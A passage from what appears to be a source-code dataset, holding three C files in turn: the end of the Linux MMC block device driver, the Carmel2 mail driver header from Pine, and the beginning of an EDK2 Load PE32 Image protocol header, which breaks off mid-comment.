* the real number of written sectors, but never more).
*/
if (mmc_card_sd(card)) {
u32 blocks;
blocks = mmc_sd_num_wr_blocks(card);
if (blocks != (u32)-1) {
ret = blk_end_request(req, 0, blocks << 9);
}
} else {
if (!mmc_packed_cmd(mq_rq->cmd_type))
ret = blk_end_request(req, 0, brq->data.bytes_xfered);
}
return ret;
}
static int mmc_blk_end_packed_req(struct mmc_queue_req *mq_rq)
{
struct request *prq;
struct mmc_packed *packed = mq_rq->packed;
int idx = packed->idx_failure, i = 0;
int ret = 0;
BUG_ON(!packed);
while (!list_empty(&packed->list)) {
prq = list_entry_rq(packed->list.next);
if (idx == i) {
/* retry from error index */
packed->nr_entries -= idx;
mq_rq->req = prq;
ret = 1;
if (packed->nr_entries == MMC_PACKED_NR_SINGLE) {
list_del_init(&prq->queuelist);
mmc_blk_clear_packed(mq_rq);
}
return ret;
}
list_del_init(&prq->queuelist);
blk_end_request(prq, 0, blk_rq_bytes(prq));
i++;
}
mmc_blk_clear_packed(mq_rq);
return ret;
}
static void mmc_blk_abort_packed_req(struct mmc_queue_req *mq_rq)
{
struct request *prq;
struct mmc_packed *packed = mq_rq->packed;
BUG_ON(!packed);
while (!list_empty(&packed->list)) {
prq = list_entry_rq(packed->list.next);
list_del_init(&prq->queuelist);
blk_end_request(prq, -EIO, blk_rq_bytes(prq));
}
mmc_blk_clear_packed(mq_rq);
}
static void mmc_blk_revert_packed_req(struct mmc_queue *mq,
struct mmc_queue_req *mq_rq)
{
struct request *prq;
struct request_queue *q = mq->queue;
struct mmc_packed *packed = mq_rq->packed;
BUG_ON(!packed);
while (!list_empty(&packed->list)) {
prq = list_entry_rq(packed->list.prev);
if (prq->queuelist.prev != &packed->list) {
list_del_init(&prq->queuelist);
spin_lock_irq(q->queue_lock);
blk_requeue_request(mq->queue, prq);
spin_unlock_irq(q->queue_lock);
} else {
list_del_init(&prq->queuelist);
}
}
mmc_blk_clear_packed(mq_rq);
}
static int mmc_blk_issue_rw_rq(struct mmc_queue *mq, struct request *rqc)
{
struct mmc_blk_data *md = mq->data;
struct mmc_card *card = md->queue.card;
struct mmc_blk_request *brq = &mq->mqrq_cur->brq;
int ret = 1, disable_multi = 0, retry = 0, type;
enum mmc_blk_status status;
struct mmc_queue_req *mq_rq;
struct request *req = rqc;
struct mmc_async_req *areq;
const u8 packed_nr = 2;
u8 reqs = 0;
if (!rqc && !mq->mqrq_prev->req)
return 0;
if (rqc)
reqs = mmc_blk_prep_packed_list(mq, rqc);
do {
if (rqc) {
/*
* When 4KB native sector is enabled, only 8 blocks
* multiple read or write is allowed
*/
if ((brq->data.blocks & 0x07) &&
(card->ext_csd.data_sector_size == 4096)) {
pr_err("%s: Transfer size is not 4KB sector size aligned\n",
req->rq_disk->disk_name);
mq_rq = mq->mqrq_cur;
goto cmd_abort;
}
if (reqs >= packed_nr)
mmc_blk_packed_hdr_wrq_prep(mq->mqrq_cur,
card, mq);
else
mmc_blk_rw_rq_prep(mq->mqrq_cur, card, 0, mq);
areq = &mq->mqrq_cur->mmc_active;
} else
areq = NULL;
areq = mmc_start_req(card->host, areq, (int *) &status);
if (!areq) {
if (status == MMC_BLK_NEW_REQUEST)
mq->flags |= MMC_QUEUE_NEW_REQUEST;
return 0;
}
mq_rq = container_of(areq, struct mmc_queue_req, mmc_active);
brq = &mq_rq->brq;
req = mq_rq->req;
type = rq_data_dir(req) == READ ? MMC_BLK_READ : MMC_BLK_WRITE;
mmc_queue_bounce_post(mq_rq);
switch (status) {
case MMC_BLK_SUCCESS:
case MMC_BLK_PARTIAL:
/*
* A block was successfully transferred.
*/
mmc_blk_reset_success(md, type);
if (mmc_packed_cmd(mq_rq->cmd_type)) {
ret = mmc_blk_end_packed_req(mq_rq);
break;
} else {
ret = blk_end_request(req, 0,
brq->data.bytes_xfered);
}
/*
* If the blk_end_request function returns non-zero even
* though all data has been transferred and no errors
* were returned by the host controller, it's a bug.
*/
if (status == MMC_BLK_SUCCESS && ret) {
pr_err("%s BUG rq_tot %d d_xfer %d\n",
__func__, blk_rq_bytes(req),
brq->data.bytes_xfered);
rqc = NULL;
goto cmd_abort;
}
break;
case MMC_BLK_CMD_ERR:
ret = mmc_blk_cmd_err(md, card, brq, req, ret);
if (!mmc_blk_reset(md, card->host, type))
break;
goto cmd_abort;
case MMC_BLK_RETRY:
if (retry++ < 5)
break;
/* Fall through */
case MMC_BLK_ABORT:
if (!mmc_blk_reset(md, card->host, type))
break;
goto cmd_abort;
case MMC_BLK_DATA_ERR: {
int err;
err = mmc_blk_reset(md, card->host, type);
if (!err)
break;
if (err == -ENODEV ||
mmc_packed_cmd(mq_rq->cmd_type))
goto cmd_abort;
/* Fall through */
}
case MMC_BLK_ECC_ERR:
if (brq->data.blocks > 1) {
/* Redo read one sector at a time */
pr_warning("%s: retrying using single block read\n",
req->rq_disk->disk_name);
disable_multi = 1;
break;
}
/*
* After an error, we redo I/O one sector at a
* time, so we only reach here after trying to
* read a single sector.
*/
ret = blk_end_request(req, -EIO,
brq->data.blksz);
if (!ret)
goto start_new_req;
break;
case MMC_BLK_NOMEDIUM:
goto cmd_abort;
default:
pr_err("%s: Unhandled return value (%d)",
req->rq_disk->disk_name, status);
goto cmd_abort;
}
if (ret) {
if (mmc_packed_cmd(mq_rq->cmd_type)) {
if (!mq_rq->packed->retries)
goto cmd_abort;
mmc_blk_packed_hdr_wrq_prep(mq_rq, card, mq);
mmc_start_req(card->host,
&mq_rq->mmc_active, NULL);
} else {
/*
* In case of a incomplete request
* prepare it again and resend.
*/
mmc_blk_rw_rq_prep(mq_rq, card,
disable_multi, mq);
mmc_start_req(card->host,
&mq_rq->mmc_active, NULL);
}
}
} while (ret);
return 1;
cmd_abort:
if (mmc_packed_cmd(mq_rq->cmd_type)) {
mmc_blk_abort_packed_req(mq_rq);
} else {
if (mmc_card_removed(card))
req->cmd_flags |= REQ_QUIET;
while (ret)
ret = blk_end_request(req, -EIO,
blk_rq_cur_bytes(req));
}
start_new_req:
if (rqc) {
if (mmc_card_removed(card)) {
rqc->cmd_flags |= REQ_QUIET;
blk_end_request_all(rqc, -EIO);
} else {
/*
* If current request is packed, it needs to put back.
*/
if (mmc_packed_cmd(mq->mqrq_cur->cmd_type))
mmc_blk_revert_packed_req(mq, mq->mqrq_cur);
mmc_blk_rw_rq_prep(mq->mqrq_cur, card, 0, mq);
mmc_start_req(card->host,
&mq->mqrq_cur->mmc_active, NULL);
}
}
return 0;
}
static int mmc_blk_issue_rq(struct mmc_queue *mq, struct request *req)
{
int ret;
struct mmc_blk_data *md = mq->data;
struct mmc_card *card = md->queue.card;
struct mmc_host *host = card->host;
unsigned long flags;
if (req && !mq->mqrq_prev->req)
/* claim host only for the first request */
mmc_claim_host(card->host);
ret = mmc_blk_part_switch(card, md);
if (ret) {
if (req) {
blk_end_request_all(req, -EIO);
}
ret = 0;
goto out;
}
mq->flags &= ~MMC_QUEUE_NEW_REQUEST;
if (req && req->cmd_flags & REQ_DISCARD) {
/* complete ongoing async transfer before issuing discard */
if (card->host->areq)
mmc_blk_issue_rw_rq(mq, NULL);
if (req->cmd_flags & REQ_SECURE &&
!(card->quirks & MMC_QUIRK_SEC_ERASE_TRIM_BROKEN))
ret = mmc_blk_issue_secdiscard_rq(mq, req);
else
ret = mmc_blk_issue_discard_rq(mq, req);
} else if (req && req->cmd_flags & REQ_FLUSH) {
/* complete ongoing async transfer before issuing flush */
if (card->host->areq)
mmc_blk_issue_rw_rq(mq, NULL);
ret = mmc_blk_issue_flush(mq, req);
} else {
if (!req && host->areq) {
spin_lock_irqsave(&host->context_info.lock, flags);
host->context_info.is_waiting_last_req = true;
spin_unlock_irqrestore(&host->context_info.lock, flags);
}
ret = mmc_blk_issue_rw_rq(mq, req);
}
out:
if ((!req && !(mq->flags & MMC_QUEUE_NEW_REQUEST)) ||
(req && (req->cmd_flags & MMC_REQ_SPECIAL_MASK)))
/*
* Release host when there are no more requests
* and after special request(discard, flush) is done.
* In case sepecial request, there is no reentry to
* the 'mmc_blk_issue_rq' with 'mqrq_prev->req'.
*/
mmc_release_host(card->host);
return ret;
}
static inline int mmc_blk_readonly(struct mmc_card *card)
{
return mmc_card_readonly(card) ||
!(card->csd.cmdclass & CCC_BLOCK_WRITE);
}
static struct mmc_blk_data *mmc_blk_alloc_req(struct mmc_card *card,
struct device *parent,
sector_t size,
bool default_ro,
const char *subname,
int area_type)
{
struct mmc_blk_data *md;
int devidx, ret;
devidx = find_first_zero_bit(dev_use, max_devices);
if (devidx >= max_devices)
return ERR_PTR(-ENOSPC);
__set_bit(devidx, dev_use);
md = kzalloc(sizeof(struct mmc_blk_data), GFP_KERNEL);
if (!md) {
ret = -ENOMEM;
goto out;
}
/*
* !subname implies we are creating main mmc_blk_data that will be
* associated with mmc_card with mmc_set_drvdata. Due to device
* partitions, devidx will not coincide with a per-physical card
* index anymore so we keep track of a name index.
*/
if (!subname) {
md->name_idx = find_first_zero_bit(name_use, max_devices);
__set_bit(md->name_idx, name_use);
} else
md->name_idx = ((struct mmc_blk_data *)
dev_to_disk(parent)->private_data)->name_idx;
md->area_type = area_type;
/*
* Set the read-only status based on the supported commands
* and the write protect switch.
*/
md->read_only = mmc_blk_readonly(card);
md->disk = alloc_disk(perdev_minors);
if (md->disk == NULL) {
ret = -ENOMEM;
goto err_kfree;
}
spin_lock_init(&md->lock);
INIT_LIST_HEAD(&md->part);
md->usage = 1;
ret = mmc_init_queue(&md->queue, card, &md->lock, subname);
if (ret)
goto err_putdisk;
md->queue.issue_fn = mmc_blk_issue_rq;
md->queue.data = md;
md->disk->major = MMC_BLOCK_MAJOR;
md->disk->first_minor = devidx * perdev_minors;
md->disk->fops = &mmc_bdops;
md->disk->private_data = md;
md->disk->queue = md->queue.queue;
md->disk->driverfs_dev = parent;
set_disk_ro(md->disk, md->read_only || default_ro);
if (area_type & MMC_BLK_DATA_AREA_RPMB)
md->disk->flags |= GENHD_FL_NO_PART_SCAN;
/*
* As discussed on lkml, GENHD_FL_REMOVABLE should:
*
* - be set for removable media with permanent block devices
* - be unset for removable block devices with permanent media
*
* Since MMC block devices clearly fall under the second
* case, we do not set GENHD_FL_REMOVABLE. Userspace
* should use the block device creation/destruction hotplug
* messages to tell when the card is present.
*/
snprintf(md->disk->disk_name, sizeof(md->disk->disk_name),
"mmcblk%d%s", md->name_idx, subname ? subname : "");
if (mmc_card_mmc(card))
blk_queue_logical_block_size(md->queue.queue,
card->ext_csd.data_sector_size);
else
blk_queue_logical_block_size(md->queue.queue, 512);
set_capacity(md->disk, size);
if (mmc_host_cmd23(card->host)) {
if (mmc_card_mmc(card) ||
(mmc_card_sd(card) &&
card->scr.cmds & SD_SCR_CMD23_SUPPORT))
md->flags |= MMC_BLK_CMD23;
}
if (mmc_card_mmc(card) &&
md->flags & MMC_BLK_CMD23 &&
((card->ext_csd.rel_param & EXT_CSD_WR_REL_PARAM_EN) ||
card->ext_csd.rel_sectors)) {
md->flags |= MMC_BLK_REL_WR;
blk_queue_flush(md->queue.queue, REQ_FLUSH | REQ_FUA);
}
if (mmc_card_mmc(card) &&
(area_type == MMC_BLK_DATA_AREA_MAIN) &&
(md->flags & MMC_BLK_CMD23) &&
card->ext_csd.packed_event_en) {
if (!mmc_packed_init(&md->queue, card))
md->flags |= MMC_BLK_PACKED_CMD;
}
return md;
err_putdisk:
put_disk(md->disk);
err_kfree:
kfree(md);
out:
return ERR_PTR(ret);
}
static struct mmc_blk_data *mmc_blk_alloc(struct mmc_card *card)
{
sector_t size;
struct mmc_blk_data *md;
if (!mmc_card_sd(card) && mmc_card_blockaddr(card)) {
/*
* The EXT_CSD sector count is in number or 512 byte
* sectors.
*/
size = card->ext_csd.sectors;
} else {
/*
* The CSD capacity field is in units of read_blkbits.
* set_capacity takes units of 512 bytes.
*/
size = card->csd.capacity << (card->csd.read_blkbits - 9);
}
md = mmc_blk_alloc_req(card, &card->dev, size, false, NULL,
MMC_BLK_DATA_AREA_MAIN);
return md;
}
static int mmc_blk_alloc_part(struct mmc_card *card,
struct mmc_blk_data *md,
unsigned int part_type,
sector_t size,
bool default_ro,
const char *subname,
int area_type)
{
char cap_str[10];
struct mmc_blk_data *part_md;
part_md = mmc_blk_alloc_req(card, disk_to_dev(md->disk), size, default_ro,
subname, area_type);
if (IS_ERR(part_md))
return PTR_ERR(part_md);
part_md->part_type = part_type;
list_add(&part_md->part, &md->part);
string_get_size((u64)get_capacity(part_md->disk) << 9, STRING_UNITS_2,
cap_str, sizeof(cap_str));
pr_info("%s: %s %s partition %u %s\n",
part_md->disk->disk_name, mmc_card_id(card),
mmc_card_name(card), part_md->part_type, cap_str);
return 0;
}
/* MMC Physical partitions consist of two boot partitions and
* up to four general purpose partitions.
* For each partition enabled in EXT_CSD a block device will be allocatedi
* to provide access to the partition.
*/
static int mmc_blk_alloc_parts(struct mmc_card *card, struct mmc_blk_data *md)
{
int idx, ret = 0;
if (!mmc_card_mmc(card))
return 0;
for (idx = 0; idx < card->nr_parts; idx++) {
if (card->part[idx].size) {
ret = mmc_blk_alloc_part(card, md,
card->part[idx].part_cfg,
card->part[idx].size >> 9,
card->part[idx].force_ro,
card->part[idx].name,
card->part[idx].area_type);
if (ret)
return ret;
}
}
return ret;
}
static void mmc_blk_remove_req(struct mmc_blk_data *md)
{
struct mmc_card *card;
if (md) {
card = md->queue.card;
if (md->disk->flags & GENHD_FL_UP) {
device_remove_file(disk_to_dev(md->disk), &md->force_ro);
if ((md->area_type & MMC_BLK_DATA_AREA_BOOT) &&
card->ext_csd.boot_ro_lockable)
device_remove_file(disk_to_dev(md->disk),
&md->power_ro_lock);
/* Stop new requests from getting into the queue */
del_gendisk(md->disk);
}
/* Then flush out any already in there */
mmc_cleanup_queue(&md->queue);
if (md->flags & MMC_BLK_PACKED_CMD)
mmc_packed_clean(&md->queue);
mmc_blk_put(md);
}
}
static void mmc_blk_remove_parts(struct mmc_card *card,
struct mmc_blk_data *md)
{
struct list_head *pos, *q;
struct mmc_blk_data *part_md;
__clear_bit(md->name_idx, name_use);
list_for_each_safe(pos, q, &md->part) {
part_md = list_entry(pos, struct mmc_blk_data, part);
list_del(pos);
mmc_blk_remove_req(part_md);
}
}
static int mmc_add_disk(struct mmc_blk_data *md)
{
int ret;
struct mmc_card *card = md->queue.card;
add_disk(md->disk);
md->force_ro.show = force_ro_show;
md->force_ro.store = force_ro_store;
sysfs_attr_init(&md->force_ro.attr);
md->force_ro.attr.name = "force_ro";
md->force_ro.attr.mode = S_IRUGO | S_IWUSR;
ret = device_create_file(disk_to_dev(md->disk), &md->force_ro);
if (ret)
goto force_ro_fail;
if ((md->area_type & MMC_BLK_DATA_AREA_BOOT) &&
card->ext_csd.boot_ro_lockable) {
umode_t mode;
if (card->ext_csd.boot_ro_lock & EXT_CSD_BOOT_WP_B_PWR_WP_DIS)
mode = S_IRUGO;
else
mode = S_IRUGO | S_IWUSR;
md->power_ro_lock.show = power_ro_lock_show;
md->power_ro_lock.store = power_ro_lock_store;
sysfs_attr_init(&md->power_ro_lock.attr);
md->power_ro_lock.attr.mode = mode;
md->power_ro_lock.attr.name =
"ro_lock_until_next_power_on";
ret = device_create_file(disk_to_dev(md->disk),
&md->power_ro_lock);
if (ret)
goto power_ro_lock_fail;
}
return ret;
power_ro_lock_fail:
device_remove_file(disk_to_dev(md->disk), &md->force_ro);
force_ro_fail:
del_gendisk(md->disk);
return ret;
}
#define CID_MANFID_SANDISK 0x2
#define CID_MANFID_TOSHIBA 0x11
#define CID_MANFID_MICRON 0x13
#define CID_MANFID_SAMSUNG 0x15
static const struct mmc_fixup blk_fixups[] =
{
MMC_FIXUP("SEM02G", CID_MANFID_SANDISK, 0x100, add_quirk,
MMC_QUIRK_INAND_CMD38),
MMC_FIXUP("SEM04G", CID_MANFID_SANDISK, 0x100, add_quirk,
MMC_QUIRK_INAND_CMD38),
MMC_FIXUP("SEM08G", CID_MANFID_SANDISK, 0x100, add_quirk,
MMC_QUIRK_INAND_CMD38),
MMC_FIXUP("SEM16G", CID_MANFID_SANDISK, 0x100, add_quirk,
MMC_QUIRK_INAND_CMD38),
MMC_FIXUP("SEM32G", CID_MANFID_SANDISK, 0x100, add_quirk,
MMC_QUIRK_INAND_CMD38),
/*
* Some MMC cards experience performance degradation with CMD23
* instead of CMD12-bounded multiblock transfers. For now we'll
* black list what's bad...
* - Certain Toshiba cards.
*
* N.B. This doesn't affect SD cards.
*/
MMC_FIXUP("MMC08G", CID_MANFID_TOSHIBA, CID_OEMID_ANY, add_quirk_mmc,
MMC_QUIRK_BLK_NO_CMD23),
MMC_FIXUP("MMC16G", CID_MANFID_TOSHIBA, CID_OEMID_ANY, add_quirk_mmc,
MMC_QUIRK_BLK_NO_CMD23),
MMC_FIXUP("MMC32G", CID_MANFID_TOSHIBA, CID_OEMID_ANY, add_quirk_mmc,
MMC_QUIRK_BLK_NO_CMD23),
/*
* Some Micron MMC cards needs longer data read timeout than
* indicated in CSD.
*/
MMC_FIXUP(CID_NAME_ANY, CID_MANFID_MICRON, 0x200, add_quirk_mmc,
MMC_QUIRK_LONG_READ_TIME),
/*
* On these Samsung MoviNAND parts, performing secure erase or
* secure trim can result in unrecoverable corruption due to a
* firmware bug.
*/
MMC_FIXUP("M8G2FA", CID_MANFID_SAMSUNG, CID_OEMID_ANY, add_quirk_mmc,
MMC_QUIRK_SEC_ERASE_TRIM_BROKEN),
MMC_FIXUP("MAG4FA", CID_MANFID_SAMSUNG, CID_OEMID_ANY, add_quirk_mmc,
MMC_QUIRK_SEC_ERASE_TRIM_BROKEN),
MMC_FIXUP("MBG8FA", CID_MANFID_SAMSUNG, CID_OEMID_ANY, add_quirk_mmc,
MMC_QUIRK_SEC_ERASE_TRIM_BROKEN),
MMC_FIXUP("MCGAFA", CID_MANFID_SAMSUNG, CID_OEMID_ANY, add_quirk_mmc,
MMC_QUIRK_SEC_ERASE_TRIM_BROKEN),
MMC_FIXUP("VAL00M", CID_MANFID_SAMSUNG, CID_OEMID_ANY, add_quirk_mmc,
MMC_QUIRK_SEC_ERASE_TRIM_BROKEN),
MMC_FIXUP("VYL00M", CID_MANFID_SAMSUNG, CID_OEMID_ANY, add_quirk_mmc,
MMC_QUIRK_SEC_ERASE_TRIM_BROKEN),
MMC_FIXUP("KYL00M", CID_MANFID_SAMSUNG, CID_OEMID_ANY, add_quirk_mmc,
MMC_QUIRK_SEC_ERASE_TRIM_BROKEN),
MMC_FIXUP("VZL00M", CID_MANFID_SAMSUNG, CID_OEMID_ANY, add_quirk_mmc,
MMC_QUIRK_SEC_ERASE_TRIM_BROKEN),
END_FIXUP
};
static int mmc_blk_probe(struct mmc_card *card)
{
struct mmc_blk_data *md, *part_md;
char cap_str[10];
/*
* Check that the card supports the command class(es) we need.
*/
if (!(card->csd.cmdclass & CCC_BLOCK_READ))
return -ENODEV;
md = mmc_blk_alloc(card);
if (IS_ERR(md))
return PTR_ERR(md);
string_get_size((u64)get_capacity(md->disk) << 9, STRING_UNITS_2,
cap_str, sizeof(cap_str));
pr_info("%s: %s %s %s %s\n",
md->disk->disk_name, mmc_card_id(card), mmc_card_name(card),
cap_str, md->read_only ? "(ro)" : "");
if (mmc_blk_alloc_parts(card, md))
goto out;
mmc_set_drvdata(card, md);
mmc_fixup_device(card, blk_fixups);
if (mmc_add_disk(md))
goto out;
list_for_each_entry(part_md, &md->part, part) {
if (mmc_add_disk(part_md))
goto out;
}
return 0;
out:
mmc_blk_remove_parts(card, md);
mmc_blk_remove_req(md);
return 0;
}
static void mmc_blk_remove(struct mmc_card *card)
{
struct mmc_blk_data *md = mmc_get_drvdata(card);
mmc_blk_remove_parts(card, md);
mmc_claim_host(card->host);
mmc_blk_part_switch(card, md);
mmc_release_host(card->host);
mmc_blk_remove_req(md);
mmc_set_drvdata(card, NULL);
}
#ifdef CONFIG_PM
static int mmc_blk_suspend(struct mmc_card *card)
{
struct mmc_blk_data *part_md;
struct mmc_blk_data *md = mmc_get_drvdata(card);
if (md) {
mmc_queue_suspend(&md->queue);
list_for_each_entry(part_md, &md->part, part) {
mmc_queue_suspend(&part_md->queue);
}
}
return 0;
}
static int mmc_blk_resume(struct mmc_card *card)
{
struct mmc_blk_data *part_md;
struct mmc_blk_data *md = mmc_get_drvdata(card);
if (md) {
/*
* Resume involves the card going into idle state,
* so current partition is always the main one.
*/
md->part_curr = md->part_type;
mmc_queue_resume(&md->queue);
list_for_each_entry(part_md, &md->part, part) {
mmc_queue_resume(&part_md->queue);
}
}
return 0;
}
#else
#define mmc_blk_suspend NULL
#define mmc_blk_resume NULL
#endif
static struct mmc_driver mmc_driver = {
.drv = {
.name = "mmcblk",
},
.probe = mmc_blk_probe,
.remove = mmc_blk_remove,
.suspend = mmc_blk_suspend,
.resume = mmc_blk_resume,
};
static int __init mmc_blk_init(void)
{
int res;
if (perdev_minors != CONFIG_MMC_BLOCK_MINORS)
pr_info("mmcblk: using %d minors per device\n", perdev_minors);
max_devices = 256 / perdev_minors;
res = register_blkdev(MMC_BLOCK_MAJOR, "mmc");
if (res)
goto out;
res = mmc_register_driver(&mmc_driver);
if (res)
goto out2;
return 0;
out2:
unregister_blkdev(MMC_BLOCK_MAJOR, "mmc");
out:
return res;
}
static void __exit mmc_blk_exit(void)
{
mmc_unregister_driver(&mmc_driver);
unregister_blkdev(MMC_BLOCK_MAJOR, "mmc");
}
module_init(mmc_blk_init);
module_exit(mmc_blk_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Multimedia Card (MMC) block device driver");
| prasidh09/cse506 | unionfs-3.10.y/drivers/mmc/card/block.c | C | gpl-2.0 | 63,254 |
/*----------------------------------------------------------------------
T H E C A R M E L 2 M A I L F I L E D R I V E R
Author(s): Laurence Lundblade
Baha'i World Centre
Data Processing
Haifa, Israel
Internet: lgl@cac.washington.edu or laurence@bwc.org
September 1992
Last Edited: Aug 31, 1994
----------------------------------------------------------------------*/
/* Command bits from carmel2_getflags() */
#define fSEEN 1
#define fDELETED 2
#define fFLAGGED 4
#define fANSWERED 8
#define fRECENT 16
/* Kinds of locks for carmel2_lock() */
#define READ_LOCK 0
#define WRITE_LOCK 1
/* Carmel2 I/O stream local data */
typedef struct _local2 {
MESSAGECACHE **mc_blocks;
long cache_size;
FILE *index_stream;
char *stdio_buf;
char *msg_buf;
unsigned long msg_buf_size;
unsigned long msg_buf_text_offset;
char *msg_buf_text_start;
char *buffered_file;
long read_lock_mod_time, write_lock_mod_time;
long index_size;
unsigned int dirty:1;
unsigned int carmel:1; /* It's a carmel file instead of carmel2 */
unsigned int buffered_header_and_text:1;
unsigned int new_file_on_copy:1;
char *(*calc_paths)();
long (*aux_copy)();
} CARMEL2LOCAL;
struct carmel_mb_name {
char version[2]; /* \0 for version 1, ASCII digit and \0 for other */
char *user; /* String of userid for other user names */
char *mailbox; /* Mailbox name */
};
#define MC(x) (&(LOCAL->mc_blocks[(x) >> 8][(x) & 0xff]))
#define LOCAL ((CARMEL2LOCAL *) stream->local)
#define CARMEL_MAXMESSAGESIZE (20000000) /* 20Mb */
#define CARMEL_MAX_HEADER (64000) /* 64K for DOS (someday?) */
#define CARMEL_PATHBUF_SIZE (1024)
#define CARMEL2_INDEX_BUF_SIZE (20000) /* Size for carmel2 index FILE buf */
#define CARMEL_NAME_CHAR ('#') /* Separator for carmel names */
#define CARMEL_NAME_PREFIX "#carmel" /* Prefix for all mailbox names */
/* Kinds of paths that for carmel_calc_path */
#define CalcPathCarmel2Index 1
#define CalcPathCarmel2Data 2
#define CalcPathCarmel2MAXNAME 3
#define CalcPathCarmel2WriteLock 4
#define CalcPathCarmel2ReadLock 5
#define CalcPathCarmel2Expunge 6
/* These are all relative to the users home directory */
#define CARMEL2_INDEX_DIR "Carmel2Mail"
#define CARMEL2_DIR "Carmel2Mail"
#define CARMEL2_MSG_DIR "Carmel2Mail/.Messages"
#define CARMEL2_MAXFILE "Carmel2Mail/.MAXNAME"
#define BEZERKLOCKTIMEOUT 5
/* Function prototypes */
#ifdef ANSI
DRIVER *carmel2_valid(char *);
int carmel2_isvalid(char *);
char *carmel2_file(char *, char *);
void *carmel2_parameters();
void carmel2_find(MAILSTREAM *, char *);
void carmel2_find_bboards(MAILSTREAM *, char *);
void carmel2_find_all(MAILSTREAM *, char *);
void carmel2_find_all_bboards(MAILSTREAM *, char *);
long carmel2_subscribe();
long carmel2_unsubscribe();
long carmel2_subscribe_bboard();
long carmel2_unsubscribe_bboard();
long carmel2_create(MAILSTREAM *, char *);
long carmel2_delete(MAILSTREAM *, char *);
long carmel2_rename(MAILSTREAM *, char *, char *);
MAILSTREAM *carmel2_open(MAILSTREAM *);
int carmel2_open2(MAILSTREAM *, char *);
void carmel2_close(MAILSTREAM *);
void carmel2_fetchfast(MAILSTREAM *, char *);
void carmel2_fetchflags(MAILSTREAM *, char *);
ENVELOPE *carmel2_fetchstructure(MAILSTREAM *, long, BODY **);
char *carmel2_fetchheader(MAILSTREAM *, long);
char *carmel2_fetchtext(MAILSTREAM *, long);
char *carmel2_fetchbody(MAILSTREAM *, long, char *, unsigned long *);
void carmel2_setflag(MAILSTREAM *, char *, char *);
void carmel2_clearflag(MAILSTREAM *, char *, char *);
void carmel2_search(MAILSTREAM *, char *);
long carmel2_ping(MAILSTREAM *);
void carmel2_check(MAILSTREAM *);
void carmel2_expunge(MAILSTREAM *);
long carmel2_copy(MAILSTREAM *, char *, char *);
long carmel2_move(MAILSTREAM *, char *, char *);
void carmel2_gc(MAILSTREAM *, long);
void *carmel2_cache(MAILSTREAM *, long, long);
long carmel2_append(MAILSTREAM *, char *, STRING *);
int carmel2_write_index(ENVELOPE *, MESSAGECACHE *, FILE *);
char *carmel2_readmsg(MAILSTREAM *, int, long, int);
int carmel2_lock(CARMEL2LOCAL *, char *, int);
void carmel2_unlock(CARMEL2LOCAL *, char *, int);
int carmel2_update_lock(CARMEL2LOCAL *, char *, int);
int carmel2_check_dir(char *);
void carmel2_parse_bezerk_status(MESSAGECACHE *, char *);
int carmel2_append2(MAILSTREAM *, CARMEL2LOCAL *, char *, char *,
char *, STRING *);
char *month_abbrev2(int);
void carmel2_rfc822_date(MESSAGECACHE *, char *);
char *carmel_pretty_mailbox(char *);
struct carmel_mb_name *
carmel_parse_mb_name(char *, char);
void carmel_free_mb_name(struct carmel_mb_name *);
int strucmp2(char *, char *);
int struncmp2(char *, char *, int);
#else /* ANSI */
DRIVER *carmel2_valid();
int carmel2_isvalid();
char *carmel2_file();
void *carmel2_parameters();
void carmel2_find();
void carmel2_find_bboards();
void carmel2_find_all();
void carmel2_find_all_bboards();
long carmel2_subscribe();
long carmel2_unsubscribe();
long carmel2_subscribe_bboard();
long carmel2_unsubscribe_bboard();
long carmel2_create();
long carmel2_delete();
long carmel2_rename();
MAILSTREAM *carmel2_open();
int carmel2_open2();
void carmel2_close();
void carmel2_fetchfast();
void carmel2_fetchflags();
ENVELOPE *carmel2_fetchstructure();
char *carmel2_fetchheader();
char *carmel2_fetchtext();
char *carmel2_fetchbody();
void carmel2_setflag();
void carmel2_clearflag();
void carmel2_search();
long carmel2_ping();
void carmel2_check();
void carmel2_expunge();
long carmel2_copy();
long carmel2_move();
void carmel2_gc();
void *carmel2_cache();
long carmel2_append();
int carmel2_write_index();
char *carmel2_readmsg();
int carmel2_lock();
void carmel2_unlock();
int carmel2_update_lock();
int carmel2_check_dir();
void carmel2_parse_bezerk_status();
int carmel2_append2();
char *month_abbrev2();
void carmel2_rfc822_date();
char *carmel_pretty_mailbox();
struct carmel_mb_name *
carmel_parse_mb_name();
void carmel_free_mb_name();
int strucmp2();
int struncmp2();
#endif /* ANSI */
| emeryberger/DieHard | src/archipelago/benchmarks/pine4.64/contrib/carmel/c-client/carmel2.h | C | gpl-2.0 | 6,981 |
/** @file
Load Pe32 Image protocol enables loading and unloading EFI images into memory and executing those images.
This protocol uses File Device Path to get an EFI image.
Copyright (c) 2006 - 2011, Intel Corporation. All rights reserved.<BR>
This program and the accompanying materials are licensed and made available under
the terms and conditions of the BSD License that accompanies this distribution.
The full text of the license may be found at
http://opensource.org/licenses/bsd-license.php.
THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
**/
#ifndef __LOAD_PE32_IMAGE_H__
#define __LOAD_PE32_IMAGE_H__
#define PE32_IMAGE_PROTOCOL_GUID \
{0x5cb5c776,0x60d5,0x45ee,{0x88,0x3c,0x45,0x27,0x8,0xcd,0x74,0x3f }}
#define EFI_LOAD_PE_IMAGE_ATTRIBUTE_NONE 0x00
#define EFI_LOAD_PE_IMAGE_ATTRIBUTE_RUNTIME_REGISTRATION 0x01
#define EFI_LOAD_PE_IMAGE_ATTRIBUTE_DEBUG_IMAGE_INFO_TABLE_REGISTRATION 0x02
typedef struct _EFI_PE32_IMAGE_PROTOCOL EFI_PE32_IMAGE_PROTOCOL;
/**
Loads an EFI image into memory and returns a handle to the image with extended parameters.
@param This The pointer to the LoadPe32Image protocol instance
@param ParentImageHandle The caller's image handle.
@param FilePath The specific file path from which the image is loaded.
@param SourceBuffer If not NULL, a pointer to the memory location containing a copy of
the image to be loaded.
@param SourceSize The size in bytes of SourceBuffer.
@param DstBuffer The buffer to store the image.
@param NumberOfPages For input, specifies the space size of the image by caller if not NULL.
For output, specifies the actual space size needed.
@param ImageHandle The image handle for output.
@param EntryPoint The image entry point for output.
@param Attribute The bit mask of attributes to set for the load PE image.
@retval EFI_SUCCESS The image was loaded into memory.
@retval EFI_NOT_FOUND The FilePath was not found.
@retval EFI_INVALID_PARAMETER One of the parameters has an invalid value.
